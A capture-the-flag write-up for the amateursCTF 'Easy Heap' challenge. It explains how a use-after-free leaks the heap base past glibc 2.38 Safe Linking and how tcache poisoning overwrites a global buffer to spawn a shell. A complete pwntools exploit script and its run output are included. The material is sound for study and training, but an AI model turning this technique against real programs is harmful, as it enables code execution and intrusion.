Writeup
amateursCTF 2025 Easy Heap — Writeup
amateursCTF Easy Heap — Writeup
Compact writeup for a Glibc 2.38 heap challenge (amateursCTF: Easy Heap) using a Use-After-Free read to bypass Safe Linking and poison tcache to overwrite a global buffer. Decompilation for analysis was obtained from dogbolt.org.
Summary
The binary is a typical menu-driven note manager (Alloc, Free, Edit, View). It is compiled without PIE, so global symbols reside at static addresses. A hidden option (67) triggers a check() function that spawns a shell if a global checkbuf contains a specific string. A Use-After-Free (UAF) lets us read the forward link of a freed tcache chunk to derive the heap address (bypassing Safe Linking), then perform tcache poisoning to return a pointer into the global checkbuf and overwrite it—no libc leak needed.
Vulnerability
- Use-After-Free (UAF): The program frees pointers but doesn’t null out entries in its storage array, so Edit/View can still access freed chunks.
// Decompilation logic (dogbolt.org)else if (local_b4 == 1) { free((void *)auStack_a8[local_b0]); // Vulnerability: auStack_a8[local_b0] is NOT set to NULL}- Safe Linking (Glibc 2.38): Tcache singly-linked list pointers are mangled:
stored_fd = (chunk_addr >> 12) ^ next_ptrA UAF read on a single-element tcache bin yields (chunk_addr >> 12) (since next_ptr == 0), letting us recover the heap base and craft a valid poisoned FD.
Exploitation
-
Heap leak (bypass Safe Linking)
- Allocate chunk at index 0 and free it.
- Use UAF “View” on index 0 to read the tcache FD.
- Since it’s the last in its bin,
next_ptr == 0, soleak = (heap_base >> 12). - Recover heap base via
heap_base = leak << 12.
-
Tcache poisoning
- Allocate and free another chunk at index 1.
- Compute
fake_fd = (chunk1_addr >> 12) ^ checkbuf_addr(static due to no PIE). - Use UAF “Edit” on index 1 to overwrite its FD with
fake_fd.
-
Overwrite and win
- Allocate to consume the real chunk (index 1).
- Allocate again; the allocator returns a pointer to
checkbuf. - Write the magic string “ALL HAIL OUR LORD AND SAVIOR TEEMO”.
- Invoke menu option 67 to trigger
system("sh").
Socket Solver
from pwn import *
exe = ELF('./chal')context.binary = exe
TARGET_STRING = b"ALL HAIL OUR LORD AND SAVIOR TEEMO"
def start(): if args.REMOTE: return remote('amt.rs', 37557) else: return process([exe.path])
io = start()
# --- Helper Functions based on Decompilation ---def malloc(idx): io.sendlineafter(b'> ', b'0') # Menu 0: Malloc io.sendlineafter(b'> ', str(idx).encode())
def free(idx): io.sendlineafter(b'> ', b'1') # Menu 1: Free io.sendlineafter(b'> ', str(idx).encode())
def edit(idx, payload): io.sendlineafter(b'> ', b'2') # Menu 2: Read (Edit) io.sendlineafter(b'> ', str(idx).encode()) io.sendlineafter(b'data> ', payload)
def view(idx): io.sendlineafter(b'> ', b'3') # Menu 3: Write (View) io.sendlineafter(b'> ', str(idx).encode()) io.recvuntil(b'data> ') return io.recv(0x67) # Reads 0x67 bytes
def win(): io.sendlineafter(b'> ', b'67') # Menu 67: Check/Win
# --- Safe Linking Helper ---def obfuscate(pos, ptr): return (pos >> 12) ^ ptr
# ==================================================# EXPLOTATION START# ==================================================
log.info("Step 1: Leaking Heap Base...")
# 1. Alloc and Free a chunk to populate Tcachemalloc(0)free(0)
# 2. Read the Safe-Linked pointer# Since it's the only chunk in bin, fd = (HeapBase >> 12) ^ 0leak_data = view(0)mangled_ptr = u64(leak_data[:8])heap_base = mangled_ptr << 12
log.success(f"Heap Base: {hex(heap_base)}")
log.info("Step 2: Tcache Poisoning...")
# 1. Alloc a new chunk (Index 1)malloc(1)
# 2. Free it to put it in Tcachefree(1)
# 3. Calculate the target address (checkbuf)# We need to find where checkbuf is.# Since No-PIE, we use the symbol from the binary.checkbuf_addr = exe.symbols['checkbuf']log.info(f"Target: checkbuf @ {hex(checkbuf_addr)}")
# 4. Calculate the obfuscated pointer# We need the address of the chunk we are currently overwriting (Index 1)# Index 0 was at offset 0x2a0 (usually)# Index 1 should be at offset 0x330 (0x2a0 + 0x90 aligned)# But we can just use the base + offset logic safely.# The first malloc usually lands at heap_base + 0x2a0 (tcache struct overhead)chunk_1_addr = heap_base + 0x330
fake_ptr = obfuscate(chunk_1_addr, checkbuf_addr)
# 5. Overwrite the fd pointer of the free chunkedit(1, p64(fake_ptr))
log.info("Step 3: Allocating to Target...")
# 1. Malloc (consumes the chunk we just freed)malloc(2)
# 2. Malloc again (consumes our FAKE chunk -> checkbuf)malloc(3)
# 3. Write the secret passphrase into checkbuflog.info(f"Writing passphrase: {TARGET_STRING}")edit(3, TARGET_STRING + b'\x00')
log.info("Step 4: Triggering Win Condition...")win()io.send(b'cat flag\n')io.interactive()Result
After overwriting checkbuf, selecting option 67 spawns a shell and read flag instantly:
[+] Opening connection to amt.rs on port 37557: Done[*] Step 1: Leaking Heap Base...[+] Heap Base: 0x13e18000[*] Step 2: Tcache Poisoning...[*] Target: checkbuf @ 0x404040[*] Step 3: Allocating to Target...[*] Writing passphrase: b'ALL HAIL OUR LORD AND SAVIOR TEEMO'[*] Step 4: Triggering Win Condition...[*] Switching to interactive modecheck.amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...}